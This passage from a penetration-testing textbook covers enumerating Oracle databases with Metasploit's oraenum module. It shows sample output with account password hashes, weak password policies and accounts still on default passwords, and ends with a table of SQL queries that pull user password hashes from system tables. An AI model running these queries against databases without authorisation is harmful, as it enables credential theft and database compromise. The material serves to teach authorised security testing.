Based on our scanning and enumeration, we should already have the first two elements but we still need to get the rest. In order for the username and password to work, we have to first have the SID, so we'll start with trying to get that information.
5.4.4.4. oraenum
Another tool included in the Metasploit framework which can help us with Oracle penetration testing is “oraenum.” As usual, we want to have as much information about a system as possible before moving forward with additional testing. This is great for our report to the client, but also ensures that we have all the information we could possibly use for further compromising the system. The “oraenum” module uses the SID, username, and password that we've already gathered and queries the database to gather a huge amount of additional information.
oraenum is called using the command
use admin/oracle/oraenum and options for the module can be displayed with the command
show options. For this particular tool, we'll need to ensure that the following parameters are set:
With these parameters in place, we can issue the
run command to kick off the module.
Fig. 5.13 shows what this looks like as the tool begins to execute.
Some of the data pulled from this sample database is shown below:
[∗]
Running Oracle Enumeration….
[∗]
The versions of the Components are:
[∗]
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
[∗]
PL/SQL Release 11.2.0.1.0 - Production
[∗]
CORE
11.2.0.1.0
Production
[∗]
TNS for Linux: Version 11.2.0.1.0 - Production
[∗]
NLSRTL Version 11.2.0.1.0 - Production
[∗] Auditing:
[∗]
Database Auditing is enabled!
[∗]
Auditing of SYS Operations is not enabled!
[∗] Security Settings:
[∗]
SQL92 Security restriction on SELECT is not Enabled
[∗]
UTL Directory Access is set to
[∗]
Audit log is saved at /home/oracle/app/oracle/admin/orcl/adump [∗]
Password Policy:
[∗]
Current Account Lockout Time is set to 1
[∗]
The Number of Failed Logins before an account is locked is set to UNLIMITED
[∗]
The Password Grace Time is set to UNLIMITED
[∗]
The Lifetime of Passwords is set to UNLIMITED
[∗]
The Number of Times a Password can be reused is set to UNLIMITED
[∗]
The Maximun Number of Times a Password needs to be changed before it can be reused is set to UNLIMITED
[∗]
The Number of Times a Password can be reused is set to UNLIMITED
[∗]
Password Complexity is not checked
[∗]
Active Accounts on the System in format Username,Password,Spare4 are:
[∗]
SYS,8A8F025737A9097A,S:A6B78598F3C3B8F4452BC56F4CC02509C0A16A943151ABC8C2997CA10C42
[∗]
SYSTEM,2D594E86F93B17A1,S:1E91C777DD475A1C3686EDB6930BB8BC350A898CA7193E546377EC56639E
[∗]
DBSNMP,FFF45BB2C0C327EC,S:4A374787F3ACD7C4C74E0197F47C862F2978A97A306A040202EBCEAA5CAF
…
[∗]
Accounts with DBA Privilege in format Username,Hash on the System are:
[∗]
SYS
[∗]
SYSTEM
[∗]
Accounts with Alter System Privilege on the System are:
[∗]
SYS
[∗]
DBA
[∗]
APEX_030200
[∗]
Accounts with JAVA ADMIN Privilege on the System are:
[∗]
Accounts that have CREATE LIBRARY Privilege on the System are:
[∗]
SPATIAL_CSW_ADMIN_USR
[∗]
SYS
[∗]
XDB
[∗]
EXFSYS
[∗]
MDSYS
[∗]
SPATIAL_WFS_ADMIN_USR
[∗]
DBA
[∗]
Default password check:
[∗]
The account DIP has a default password.
[∗]
The account OLAPSYS has a default password.
[∗]
The account SCOTT has a default password.
[∗]
The account OE has a default password.
[∗]
The account WMSYS has a default password.
[∗]
The account SI_INFORMTN_SCHEMA has a default password.
[∗]
Auxiliary module execution completed A lot of useful nuggets are in that pile of data. For example, we now know the exact version of the database, its auditing and security settings, password policies, additional user accounts (and their password hashes!), some extended privileges which exist on some accounts, and some information on accounts with default passwords. All of this information can come in useful for compromising not only this system, but potentially others on the network.
At this point, we have all of the information that we need to successfully connect to and query data from our target database. Using tools such as the Metasploit oracle_sql module (admin/oracle/oracle_sql) or Oracle's SQL∗Plus tool, we can send queries to the database and gather additional data from the system. Some useful commands are shown in
Table 5.3.
Table 5.3 Useful Oracle SQL Commands
Command | Purpose |
---|
select ∗ from v$version; | Displays the Oracle versions |
select ∗ from all_users; | Shows all user accounts |
select username, password, account_status from dba_users; | Shows usernames, password hashes, and the account status for Oracle 7–10g |
select a.name, a.spare4, b.account_status from sys.user$ a, sys.dba_users b where user#=user_id; | Shows usernames, password hashes, and the account status for Oracle 11g |
select table_name, column_name, owner from dba_tab_columns; | Lists all columns in all tables. You can limit this query to find specific criteria such as %PASSWORD% or %USER% with a WHERE clause |
select owner, table_name from all_tables; | Lists all tables |